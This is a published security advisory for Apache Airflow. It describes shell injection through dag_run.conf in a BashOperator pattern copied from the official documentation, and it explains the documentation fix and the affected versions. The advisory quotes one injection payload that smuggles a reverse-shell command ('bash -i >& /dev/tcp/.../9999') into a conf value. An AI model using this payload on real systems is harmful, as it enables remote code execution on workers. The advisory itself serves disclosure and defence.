CVE-2026-42252 PUBLISHED

Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Assigner: apache
Reserved: 25.04.2026 Published: 01.06.2026 Updated: 01.06.2026

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

Product Status

Vendor Apache Software Foundation
Product Apache Airflow
Versions Default: unaffected
  • affected from 3.0.0 to 3.2.2 (excl.)

Credits

  • anonymous finder
  • Kevin Yang (sjyangkevin) remediation developer

References

Problem Types

  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine CWE